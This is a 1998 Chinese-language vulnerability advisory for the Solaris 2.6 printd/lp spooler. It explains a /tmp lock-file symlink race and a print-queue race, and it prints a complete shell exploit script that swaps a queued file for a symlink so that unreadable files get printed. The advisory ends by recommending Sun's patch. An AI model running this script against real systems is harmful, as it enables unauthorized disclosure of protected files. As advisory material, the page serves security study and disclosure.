Solaris 2.6 printd(lp)漏洞
发布日期:1998-03-11
更新日期:1998-03-11
受影响系统:Solaris 2.6
描述:
存在于Solaris 2.6之上的printd(lp)漏洞,用户可以创建/改写特权文件,打印本来不可以访问的文件。
1.创建/改写特权文件:
SUN公司没有从过去的错误中吸取教训;TMP文件仍然是个问题,当列队打印一个大文件的时候
一个lock文件(/tmp/.printd.lock)就生成了。在你打印他们前,把你要创建/改写的文件和这
个LOCK文件的连接你将能获得这个文件修改权限。
当打印完成,你指示的文件属性将被置为640,其内容将包含printd的进程表示符。
2.打印本来不可访问的文件:
SUN公司重新构造了他们在Solais 2.6中的假脱机程序,他们采用了一种类似Sendmail的列队系统。
[~]lp .tcshrc
[~]ls -al /var/spool/print
total 12
drwxr-xr-x 2 root lp 512 Feb 20 12:44 .
drwxrwxr-x 10 root bin 512 Feb 17 11:28 ..
-rw-rw-r-- 1 root staff 4 Feb 20 12:44 .seq
-rw-r----- 1 root staff 80 Feb 20 12:44 cfA037core
lrwxrwxrwx 1 root staff 19 Feb 20 12:44 dfA037core ->
/home/sili/.tcshrc
-rw-r----- 1 root staff 23 Feb 20 12:44 xfA037core
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
#
#Print unreadable files on solaris2.6
#sili@l0pht.com
#
# --If it didn't work, change $BIGFILE to
# something bigger.
#
# --Script usually works 80% of the time..
# Didn't work? Try again.. Throw something
# at the printspooler to slow it down.
#
TMPFILE="./.dmlr"
BIGFILE="/usr/lib/libc.so.1"
if [ $# != 1 ]; then
echo "Usage:"
echo
echo "./sol26lp <file>"
echo
echo "Print unreadable files on Solaris2.6"
echo " ----sili@l0pht.com"
exit 1
fi
echo "Need a large file to print, using $BIGFILE."
cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
lp $TMPFILE ;
#sleep 1;
rm $TMPFILE ; ln -s $1 $TMPFILE
QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`
echo "Queue File: /var/spool/print/$QF"
while [ -h /var/spool/print/$QF ]; do
echo "Waiting for file to print";
sleep 1;
done
echo "File printed. Erasing temp files."
rm $TMPFILE
echo "Done."
echo
echo " --sili@l0pht.com 1/20/98"
建议:
到www.sun.com下载相应patch
浏览次数:22340
严重程度:0(网友投票)